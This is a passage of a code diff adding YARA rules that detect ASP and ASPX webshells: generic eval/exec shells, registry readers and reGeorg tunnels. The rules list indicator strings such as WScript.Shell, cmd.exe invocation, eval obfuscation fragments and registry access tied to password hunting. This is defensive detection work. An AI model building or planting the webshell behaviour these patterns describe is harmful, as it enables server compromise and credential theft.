+        hash = "0864f040a37c3e1cef0213df273870ed6a61e4bc"
+        hash = "b184dc97b19485f734e3057e67007a16d47b2a62"
+
+        id = "0904cefb-6e0f-5e5f-9986-cf83d409ce46"
+    strings:
+        $fp1 = "net.rim.application.ipproxyservice.AdminCommand.execute"
+
+        //strings from private rule capa_asp
+        $tagasp_short1 = /<%[^"]/ wide ascii
+        // also looking for %> to reduce fp (yeah, short atom but seldom since special chars)
+        $tagasp_short2 = "%>" wide ascii
+
+        // classids for scripting host etc
+        $tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+        $tagasp_long10 = "<%@ " wide ascii
+        // <% eval
+        $tagasp_long11 = /<% \w/ nocase wide ascii
+        $tagasp_long12 = "<%ex" nocase wide ascii
+        $tagasp_long13 = "<%ev" nocase wide ascii
+
+        // <%@ LANGUAGE = VBScript.encode%>
+        // <%@ Language = "JScript" %>
+
+        // <%@ WebHandler Language="C#" class="Handler" %>
+        // <%@ WebService Language="C#" Class="Service" %>
+
+        // <%@Page Language="Jscript"%>
+        // <%@ Page Language = Jscript %>
+        // <%@PAGE LANGUAGE=JSCRIPT%>
+        // <%@ Page Language="Jscript" validateRequest="false" %>
+        // <%@ Page Language = Jscript %>
+        // <%@ Page Language="C#" %>
+        // <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
+        // <script runat="server" language="JScript">
+        // <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
+        // <SCRIPT  RUNAT=SERVER  LANGUAGE=JSCRIPT>
+        // <msxsl:script language="JScript" ...
+        $tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+
+        $tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+        $tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+
+        // avoid hitting php
+        $php1 = "<?php"
+        $php2 = "<?="
+
+        // avoid hitting jsp
+        $jsp1 = "=\"java." wide ascii
+        $jsp2 = "=\"javax." wide ascii
+        $jsp3 = "java.lang." wide ascii
+        $jsp4 = "public" fullword wide ascii
+        $jsp5 = "throws" fullword wide ascii
+        $jsp6 = "getValue" fullword wide ascii
+        $jsp7 = "getBytes" fullword wide ascii
+
+        $perl1 = "PerlScript" fullword
+
+
+        //strings from private rule capa_asp_input
+        // Request.BinaryRead
+        // Request.Form
+        $asp_input1 = "request" fullword nocase wide ascii
+        $asp_input2 = "Page_Load" fullword nocase wide ascii
+        // base64 of Request.Form(
+        $asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
+        $asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
+        $asp_xml_method1 = "GET" fullword wide ascii
+        $asp_xml_method2 = "POST" fullword wide ascii
+        $asp_xml_method3 = "HEAD" fullword wide ascii
+        // dynamic form
+        $asp_form1 = "<form " wide ascii
+        $asp_form2 = "<Form " wide ascii
+        $asp_form3 = "<FORM " wide ascii
+        $asp_asp   = "<asp:" wide ascii
+        $asp_text1 = ".text" wide ascii
+        $asp_text2 = ".Text" wide ascii
+
+        //strings from private rule capa_bin_files
+        $dex   = { 64 65 ( 78 | 79 ) 0a 30 }
+        $pack  = { 50 41 43 4b 00 00 00 02 00 }
+
+        //strings from private rule capa_asp_payload
+        $asp_payload0  = "eval_r" fullword nocase wide ascii
+        $asp_payload1  = /\beval\s/ nocase wide ascii
+        $asp_payload2  = /\beval\(/ nocase wide ascii
+        $asp_payload3  = /\beval\"\"/ nocase wide ascii
+        // var Fla = {'E':eval};  Fla.E(code)
+        $asp_payload4  = /:\s{0,10}eval\b/ nocase wide ascii
+        $asp_payload8  = /\bexecute\s?\(/ nocase wide ascii
+        $asp_payload9  = /\bexecute\s[\w"]/ nocase wide ascii
+        $asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
+        $asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
+        $asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
+        $asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
+        $asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
+        $asp_multi_payload_one2 = "addcode" fullword wide ascii
+        $asp_multi_payload_one3 = /\.run\b/ wide ascii
+        $asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
+        $asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
+        $asp_multi_payload_two3 = "BuildManager" fullword wide ascii
+        $asp_multi_payload_three1 = "System.Diagnostics" wide ascii
+        $asp_multi_payload_three2 = "Process" fullword wide ascii
+        $asp_multi_payload_three3 = ".Start" wide ascii
+        // this is about "MSXML2.DOMDocument" but since that's easily obfuscated, lets not search for it
+        $asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
+        $asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
+        $asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
+
+        // execute cmd.exe /c with arguments using ProcessStartInfo
+        $asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
+        $asp_multi_payload_five2 = ".Start" nocase wide ascii
+        $asp_multi_payload_five3 = ".Filename" nocase wide ascii
+        $asp_multi_payload_five4 = ".Arguments" nocase wide ascii
+
+
+        //strings from private rule capa_asp_write_file
+        // $asp_write1 = "ADODB.Stream" wide ascii # just a string, can be easily obfuscated
+        $asp_always_write1 = /\.write/ nocase wide ascii
+        $asp_always_write2 = /\.swrite/ nocase wide ascii
+        //$asp_write_way_one1 = /\.open\b/ nocase wide ascii
+        $asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
+        $asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
+        $asp_cr_write1 = "CreateObject(" nocase wide ascii
+        $asp_cr_write2 = "CreateObject (" nocase wide ascii
+        $asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
+        $asp_streamwriter2 = "filestream" fullword nocase wide ascii
+
+    condition:
+        (
+        (
+            any of ( $tagasp_long* ) or
+            // TODO :  yara_push_private_rules.py doesn't do private rules in private rules yet
+            any of ( $tagasp_classid* ) or
+            (
+                $tagasp_short1 and
+                $tagasp_short2 in ( filesize-100..filesize )
+            ) or (
+                $tagasp_short2 and (
+                    $tagasp_short1 in ( 0..1000 ) or
+                    $tagasp_short1 in ( filesize-1000..filesize )
+                )
+            )
+        ) and not (
+            (
+                any of ( $perl* ) or
+                $php1 at 0 or
+                $php2 at 0
+            ) or (
+                ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0
+                )
+        )
+        )
+        and (
+            any of ( $asp_input* ) or
+        (
+            $asp_xml_http and
+            any of ( $asp_xml_method* )
+        ) or
+        (
+            any of ( $asp_form* ) and
+            any of ( $asp_text* ) and
+            $asp_asp
+        )
+        )
+        and not 1 of ( $fp* ) and not (
+        uint16(0) == 0x5a4d or
+        $dex at 0 or
+        $pack at 0 or
+        // fp on jar with zero compression
+        uint16(0) == 0x4b50
+        )
+        and
+        ( filesize < 700 and
+        ( (
+            any of ( $asp_payload* ) or
+        all of ( $asp_multi_payload_one* ) or
+        all of ( $asp_multi_payload_two* ) or
+        all of ( $asp_multi_payload_three* ) or
+        all of ( $asp_multi_payload_four* ) or
+        all of ( $asp_multi_payload_five* )
+        )
+        or (
+        any of ( $asp_always_write* ) and
+        (
+            any of ( $asp_write_way_one* ) and
+            any of ( $asp_cr_write* )
+        ) or (
+            any of ( $asp_streamwriter* )
+        )
+        )
+        ) )
+}
+
+rule WEBSHELL_ASP_Generic : FILE {
+    meta:
+        description = "Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        date = "2021-03-07"
+        modified = "2023-07-05"
+        score = 60
+        hash = "a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75"
+        hash = "4cf6fbad0411b7d33e38075f5e00d4c8ae9ce2f6f53967729974d004a183b25c"
+        hash = "a91320483df0178eb3cafea830c1bd94585fc896"
+        hash = "f3398832f697e3db91c3da71a8e775ebf66c7e73"
+        id = "0904cefb-6e0f-5e5f-9986-cf83d409ce46"
+    strings:
+        $asp_much_sus7  = "Web Shell" nocase
+        $asp_much_sus8  = "WebShell" nocase
+        $asp_much_sus3  = "hidded shell"
+        $asp_much_sus4  = "WScript.Shell.1" nocase
+        $asp_much_sus5  = "AspExec"
+        $asp_much_sus14 = "\\pcAnywhere\\" nocase
+        $asp_much_sus15 = "antivirus" nocase
+        $asp_much_sus16 = "McAfee" nocase
+        $asp_much_sus17 = "nishang"
+        $asp_much_sus18 = "\"unsafe" fullword wide ascii
+        $asp_much_sus19 = "'unsafe" fullword wide ascii
+        $asp_much_sus28 = "exploit" fullword wide ascii
+        $asp_much_sus30 = "TVqQAAMAAA" wide ascii
+        $asp_much_sus31 = "HACKED" fullword wide ascii
+        $asp_much_sus32 = "hacked" fullword wide ascii
+        $asp_much_sus33 = "hacker" wide ascii
+        $asp_much_sus34 = "grayhat" nocase wide ascii
+        $asp_much_sus35 = "Microsoft FrontPage" wide ascii
+        $asp_much_sus36 = "Rootkit" wide ascii
+        $asp_much_sus37 = "rootkit" wide ascii
+        $asp_much_sus38 = "/*-/*-*/" wide ascii
+        $asp_much_sus39 = "u\"+\"n\"+\"s" wide ascii
+        $asp_much_sus40 = "\"e\"+\"v" wide ascii
+        $asp_much_sus41 = "a\"+\"l\"" wide ascii
+        $asp_much_sus42 = "\"+\"(\"+\"" wide ascii
+        $asp_much_sus43 = "q\"+\"u\"" wide ascii
+        $asp_much_sus44 = "\"u\"+\"e" wide ascii
+        $asp_much_sus45 = "/*//*/" wide ascii
+        $asp_much_sus46 = "(\"/*/\"" wide ascii
+        $asp_much_sus47 = "eval(eval(" wide ascii
+        $asp_much_sus48 = "Shell.Users" wide ascii
+        $asp_much_sus49 = "PasswordType=Regular" wide ascii
+        $asp_much_sus50 = "-Expire=0" wide ascii
+        $asp_much_sus51 = "sh\"&\"el" wide ascii
+
+        $asp_gen_sus1  = /:\s{0,20}eval}/ nocase wide ascii
+        $asp_gen_sus2  = /\.replace\(\/\w\/g/ nocase wide ascii
+        $asp_gen_sus6  = "self.delete"
+        $asp_gen_sus9  = "\"cmd /c" nocase
+        $asp_gen_sus10 = "\"cmd\"" nocase
+        $asp_gen_sus11 = "\"cmd.exe" nocase
+        $asp_gen_sus12 = "%comspec%" wide ascii
+        $asp_gen_sus13 = "%COMSPEC%" wide ascii
+        //TODO:$asp_gen_sus12 = ".UserName" nocase
+        $asp_gen_sus18 = "Hklm.GetValueNames();" nocase
+        // bonus string for proxylogon exploiting webshells
+        $asp_gen_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
+        $asp_gen_sus21 = "\"upload\"" wide ascii
+        $asp_gen_sus22 = "\"Upload\"" wide ascii
+        $asp_gen_sus25 = "shell_" wide ascii
+        //$asp_gen_sus26 = "password" fullword wide ascii
+        //$asp_gen_sus27 = "passw" fullword wide ascii
+        // own base64 or base 32 func
+        $asp_gen_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
+        $asp_gen_sus30 = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
+        $asp_gen_sus31 = "serv-u" wide ascii
+        $asp_gen_sus32 = "Serv-u" wide ascii
+        $asp_gen_sus33 = "Army" fullword wide ascii
+
+        $asp_slightly_sus1 = "<pre>" wide ascii
+        $asp_slightly_sus2 = "<PRE>" wide ascii
+
+
+        // "e"+"x"+"e"
+        $asp_gen_obf1 = "\"+\"" wide ascii
+
+        $fp1 = "DataBinder.Eval"
+        $fp2 = "B2BTools"
+        $fp3 = "<b>Failed to execute cache update. See the log file for more information" ascii
+        $fp4 = "Microsoft. All rights reserved."
+
+        //strings from private rule capa_asp
+        $tagasp_short1 = /<%[^"]/ wide ascii
+        // also looking for %> to reduce fp (yeah, short atom but seldom since special chars)
+        $tagasp_short2 = "%>" wide ascii
+
+        // classids for scripting host etc
+        $tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+        $tagasp_long10 = "<%@ " wide ascii
+        // <% eval
+        $tagasp_long11 = /<% \w/ nocase wide ascii
+        $tagasp_long12 = "<%ex" nocase wide ascii
+        $tagasp_long13 = "<%ev" nocase wide ascii
+
+        // <%@ LANGUAGE = VBScript.encode%>
+        // <%@ Language = "JScript" %>
+
+        // <%@ WebHandler Language="C#" class="Handler" %>
+        // <%@ WebService Language="C#" Class="Service" %>
+
+        // <%@Page Language="Jscript"%>
+        // <%@ Page Language = Jscript %>
+        // <%@PAGE LANGUAGE=JSCRIPT%>
+        // <%@ Page Language="Jscript" validateRequest="false" %>
+        // <%@ Page Language = Jscript %>
+        // <%@ Page Language="C#" %>
+        // <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
+        // <script runat="server" language="JScript">
+        // <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
+        // <SCRIPT  RUNAT=SERVER  LANGUAGE=JSCRIPT>
+        // <msxsl:script language="JScript" ...
+        $tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+
+        $tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+        $tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+
+        // avoid hitting php
+        $php1 = "<?php"
+        $php2 = "<?="
+
+        // avoid hitting jsp
+        $jsp1 = "=\"java." wide ascii
+        $jsp2 = "=\"javax." wide ascii
+        $jsp3 = "java.lang." wide ascii
+        $jsp4 = "public" fullword wide ascii
+        $jsp5 = "throws" fullword wide ascii
+        $jsp6 = "getValue" fullword wide ascii
+        $jsp7 = "getBytes" fullword wide ascii
+
+        $perl1 = "PerlScript" fullword
+
+
+        //strings from private rule capa_bin_files
+        $dex   = { 64 65 ( 78 | 79 ) 0a 30 }
+        $pack  = { 50 41 43 4b 00 00 00 02 00 }
+
+        //strings from private rule capa_asp_input
+        // Request.BinaryRead
+        // Request.Form
+        $asp_input1 = "request" fullword nocase wide ascii
+        $asp_input2 = "Page_Load" fullword nocase wide ascii
+        // base64 of Request.Form(
+        $asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
+        $asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
+        $asp_xml_method1 = "GET" fullword wide ascii
+        $asp_xml_method2 = "POST" fullword wide ascii
+        $asp_xml_method3 = "HEAD" fullword wide ascii
+        // dynamic form
+        $asp_form1 = "<form " wide ascii
+        $asp_form2 = "<Form " wide ascii
+        $asp_form3 = "<FORM " wide ascii
+        $asp_asp   = "<asp:" wide ascii
+        $asp_text1 = ".text" wide ascii
+        $asp_text2 = ".Text" wide ascii
+
+        //strings from private rule capa_asp_payload
+        $asp_payload0  = "eval_r" fullword nocase wide ascii
+        $asp_payload1  = /\beval\s/ nocase wide ascii
+        $asp_payload2  = /\beval\(/ nocase wide ascii
+        $asp_payload3  = /\beval\"\"/ nocase wide ascii
+        // var Fla = {'E':eval};  Fla.E(code)
+        $asp_payload4  = /:\s{0,10}eval\b/ nocase wide ascii
+        $asp_payload8  = /\bexecute\s?\(/ nocase wide ascii
+        $asp_payload9  = /\bexecute\s[\w"]/ nocase wide ascii
+        $asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
+        $asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
+        $asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
+        $asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
+        $asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
+        $asp_multi_payload_one2 = "addcode" fullword wide ascii
+        $asp_multi_payload_one3 = /\.run\b/ wide ascii
+        $asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
+        $asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
+        $asp_multi_payload_two3 = "BuildManager" fullword wide ascii
+        $asp_multi_payload_three1 = "System.Diagnostics" wide ascii
+        $asp_multi_payload_three2 = "Process" fullword wide ascii
+        $asp_multi_payload_three3 = "Start" fullword wide ascii
+        // this is about "MSXML2.DOMDocument" but since that's easily obfuscated, lets not search for it
+        $asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
+        $asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
+        $asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
+
+        // execute cmd.exe /c with arguments using ProcessStartInfo
+        $asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
+        $asp_multi_payload_five2 = ".Start" nocase wide ascii
+        $asp_multi_payload_five3 = ".Filename" nocase wide ascii
+        $asp_multi_payload_five4 = ".Arguments" nocase wide ascii
+
+
+        //strings from private rule capa_asp_write_file
+        // $asp_write1 = "ADODB.Stream" wide ascii # just a string, can be easily obfuscated
+        $asp_always_write1 = /\.write/ nocase wide ascii
+        $asp_always_write2 = /\.swrite/ nocase wide ascii
+        //$asp_write_way_one1 = /\.open\b/ nocase wide ascii
+        $asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
+        $asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
+        $asp_cr_write1 = "CreateObject(" nocase wide ascii
+        $asp_cr_write2 = "CreateObject (" nocase wide ascii
+        $asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
+        $asp_streamwriter2 = "filestream" fullword nocase wide ascii
+
+        //strings from private rule capa_asp_classid
+        $tagasp_capa_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_capa_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_capa_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_capa_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_capa_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+
+    condition:
+        //any of them or
+        (
+        (
+            any of ( $tagasp_long* ) or
+            // TODO :  yara_push_private_rules.py doesn't do private rules in private rules yet
+            any of ( $tagasp_classid* ) or
+            (
+                $tagasp_short1 and
+                $tagasp_short2 in ( filesize-100..filesize )
+            ) or (
+                $tagasp_short2 and (
+                    $tagasp_short1 in ( 0..1000 ) or
+                    $tagasp_short1 in ( filesize-1000..filesize )
+                )
+            )
+        ) and not (
+            (
+                any of ( $perl* ) or
+                $php1 at 0 or
+                $php2 at 0
+            ) or (
+                ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0
+                )
+        )
+        )
+        and not (
+        uint16(0) == 0x5a4d or
+        $dex at 0 or
+        $pack at 0 or
+        // fp on jar with zero compression
+        uint16(0) == 0x4b50
+        )
+        and (
+            any of ( $asp_input* ) or
+        (
+            $asp_xml_http and
+            any of ( $asp_xml_method* )
+        ) or
+        (
+            any of ( $asp_form* ) and
+            any of ( $asp_text* ) and
+            $asp_asp
+        )
+        )
+        and (
+            any of ( $asp_payload* ) or
+        all of ( $asp_multi_payload_one* ) or
+        all of ( $asp_multi_payload_two* ) or
+        all of ( $asp_multi_payload_three* ) or
+        all of ( $asp_multi_payload_four* ) or
+        all of ( $asp_multi_payload_five* )
+        )
+        and not any of ( $fp* ) and
+        ( ( filesize < 3KB and
+        ( 1 of ( $asp_slightly_sus* ) ) ) or
+        ( filesize < 25KB and
+        ( 1 of ( $asp_much_sus* ) or 1 of ( $asp_gen_sus* ) or
+        ( #asp_gen_obf1 > 2 ) ) ) or
+        ( filesize < 50KB and
+        ( 1 of ( $asp_much_sus* ) or 3 of ( $asp_gen_sus* ) or
+        ( #asp_gen_obf1 > 6 ) ) ) or
+        ( filesize < 150KB and
+        ( 1 of ( $asp_much_sus* ) or 4 of ( $asp_gen_sus* ) or
+        ( #asp_gen_obf1 > 6 ) or
+        ( (
+        any of ( $asp_always_write* ) and
+        (
+            any of ( $asp_write_way_one* ) and
+            any of ( $asp_cr_write* )
+        ) or (
+            any of ( $asp_streamwriter* )
+        )
+        )
+        and
+        ( 1 of ( $asp_much_sus* ) or 2 of ( $asp_gen_sus* ) or
+        ( #asp_gen_obf1 > 3 ) ) ) ) ) or
+        ( filesize < 100KB and (
+        any of ( $tagasp_capa_classid* )
+        )
+        ) )
+}
+
+rule WEBSHELL_ASP_Generic_Registry_Reader
+{
+    meta:
+        description = "Generic ASP webshell which reads the registry (might look for passwords, license keys, database settings, general recon, ..."
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        date = "2021/03/14"
+        modified = "2023-07-05"
+        score = 50
+        hash = "4d53416398a89aef3a39f63338a7c1bf2d3fcda4"
+        hash = "f85cf490d7eb4484b415bea08b7e24742704bdda"
+        hash = "898ebfa1757dcbbecb2afcdab1560d72ae6940de"
+
+        id = "02d6f95f-1801-5fb0-8ab8-92176cf2fdd7"
+    strings:
+        /* $asp_reg1  = "Registry" fullword wide ascii */ /* too many matches issues */
+        $asp_reg2  = "LocalMachine" fullword wide ascii
+        $asp_reg3  = "ClassesRoot" fullword wide ascii
+        $asp_reg4  = "CurrentUser" fullword wide ascii
+        $asp_reg5  = "Users" fullword wide ascii
+        $asp_reg6  = "CurrentConfig" fullword wide ascii
+        $asp_reg7  = "Microsoft.Win32" fullword wide ascii
+        $asp_reg8  = "OpenSubKey" fullword wide ascii
+
+        $sus1 = "shell" fullword nocase wide ascii
+        $sus2 = "cmd.exe" fullword wide ascii
+        $sus3 = "<form " wide ascii
+        $sus4 = "<table " wide ascii
+        $sus5 = "System.Security.SecurityException" wide ascii
+
+        $fp1 = "Avira Operations GmbH" wide
+
+        //strings from private rule capa_asp
+        $tagasp_short1 = /<%[^"]/ wide ascii
+        // also looking for %> to reduce fp (yeah, short atom but seldom since special chars)
+        $tagasp_short2 = "%>" wide ascii
+
+        // classids for scripting host etc
+        $tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+        $tagasp_long10 = "<%@ " wide ascii
+        // <% eval
+        $tagasp_long11 = /<% \w/ nocase wide ascii
+        $tagasp_long12 = "<%ex" nocase wide ascii
+        $tagasp_long13 = "<%ev" nocase wide ascii
+
+        // <%@ LANGUAGE = VBScript.encode%>
+        // <%@ Language = "JScript" %>
+
+        // <%@ WebHandler Language="C#" class="Handler" %>
+        // <%@ WebService Language="C#" Class="Service" %>
+
+        // <%@Page Language="Jscript"%>
+        // <%@ Page Language = Jscript %>
+        // <%@PAGE LANGUAGE=JSCRIPT%>
+        // <%@ Page Language="Jscript" validateRequest="false" %>
+        // <%@ Page Language = Jscript %>
+        // <%@ Page Language="C#" %>
+        // <%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
+        // <script runat="server" language="JScript">
+        // <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
+        // <SCRIPT  RUNAT=SERVER  LANGUAGE=JSCRIPT>
+        // <msxsl:script language="JScript" ...
+        $tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+
+        $tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+        $tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+
+        // avoid hitting php
+        $php1 = "<?php"
+        $php2 = "<?="
+
+        // avoid hitting jsp
+        $jsp1 = "=\"java." wide ascii
+        $jsp2 = "=\"javax." wide ascii
+        $jsp3 = "java.lang." wide ascii
+        $jsp4 = "public" fullword wide ascii
+        $jsp5 = "throws" fullword wide ascii
+        $jsp6 = "getValue" fullword wide ascii
+        $jsp7 = "getBytes" fullword wide ascii
+
+        $perl1 = "PerlScript" fullword
+
+
+        //strings from private rule capa_asp_input
+        // Request.BinaryRead
+        // Request.Form
+        $asp_input1 = "request" fullword nocase wide ascii
+        $asp_input2 = "Page_Load" fullword nocase wide ascii
+        // base64 of Request.Form(
+        $asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
+        $asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
+        $asp_xml_method1 = "GET" fullword wide ascii
+        $asp_xml_method2 = "POST" fullword wide ascii
+        $asp_xml_method3 = "HEAD" fullword wide ascii
+        // dynamic form
+        $asp_form1 = "<form " wide ascii
+        $asp_form2 = "<Form " wide ascii
+        $asp_form3 = "<FORM " wide ascii
+        $asp_asp   = "<asp:" wide ascii
+        $asp_text1 = ".text" wide ascii
+        $asp_text2 = ".Text" wide ascii
+
+    condition:
+        (
+        (
+            any of ( $tagasp_long* ) or
+            // TODO :  yara_push_private_rules.py doesn't do private rules in private rules yet
+            any of ( $tagasp_classid* ) or
+            (
+                $tagasp_short1 and
+                $tagasp_short2 in ( filesize-100..filesize )
+            ) or (
+                $tagasp_short2 and (
+                    $tagasp_short1 in ( 0..1000 ) or
+                    $tagasp_short1 in ( filesize-1000..filesize )
+                )
+            )
+        ) and not (
+            (
+                any of ( $perl* ) or
+                $php1 at 0 or
+                $php2 at 0
+            ) or (
+                ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0
+                )
+        )
+        )
+        and all of ( $asp_reg* ) and any of ( $sus* ) and not any of ( $fp* ) and
+        ( filesize < 10KB or
+        ( filesize < 150KB and (
+            any of ( $asp_input* ) or
+        (
+            $asp_xml_http and
+            any of ( $asp_xml_method* )
+        ) or
+        (
+            any of ( $asp_form* ) and
+            any of ( $asp_text* ) and
+            $asp_asp
+        )
+        )
+        ) )
+}
+
+rule WEBSHELL_ASPX_Regeorg_CSHARP
+{
+    meta:
+        description = "Webshell regeorg aspx c# version"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        reference = "https://github.com/sensepost/reGeorg"
+        hash = "c1f43b7cf46ba12cfc1357b17e4f5af408740af7ae70572c9cf988ac50260ce1"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        score = 75
+        date = "2021/01/11"
+        modified = "2023-07-05"
+        hash = "479c1e1f1c263abe339de8be99806c733da4e8c1"
+        hash = "38a1f1fc4e30c0b4ad6e7f0e1df5a92a7d05020b"
+        hash = "e54f1a3eab740201feda235835fc0aa2e0c44ba9"
+        hash = "aea0999c6e5952ec04bf9ee717469250cddf8a6f"
+
+        id = "0a53d368-5f1b-55b7-b08f-36b0f8c5612f"
+    strings:
+        $input_sa1 = "Request.QueryString.Get" fullword nocase wide ascii
+        $input_sa2 = "Request.Headers.Get" fullword nocase wide ascii
+        $sa1 = "AddressFamily.InterNetwork" fullword nocase wide ascii
+        $sa2 = "Response.AddHeader" fullword nocase wide ascii
+        $sa3 = "Request.InputStream.Read" nocase wide ascii
+        $sa4 = "Response.BinaryWrite" nocase wide ascii
+        $sa5 = "Socket" nocase wide ascii
+        $georg = "Response.Write(\"Georg says, 'All seems fine'\")"
+
+        //strings from private rule capa_asp
+        $tagasp_short1 = /<%[^"]/ wide ascii
+        // also looking for %> to reduce fp (yeah, short atom but seldom since special chars)
+        $tagasp_short2 = "%>" wide ascii
+
+        // classids for scripting host etc
+        $tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+        $tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+        $tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+        $tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+        $tagasp_long10 = "<%@ " wide ascii
+        // <% eval
+        $tagasp_long11 = /<% \w/ nocase wide ascii
+        $tagasp_long12 = "<%ex" nocase wide ascii
+        $tagasp_long13 = "<%ev" nocase wide ascii
+
+        // <%@ LANGUAGE = VBScript.encode%>
+        // <%@ Language = "JScript" %>
+
+        // <%@ WebHandler Language="C#" class="Handler" %>
+        // <%@ WebService Language="C#" Class="Service" %>
+
+        // <%@Page Language="Jscript"%>
+        // <%@ Page Language = Jscript %>
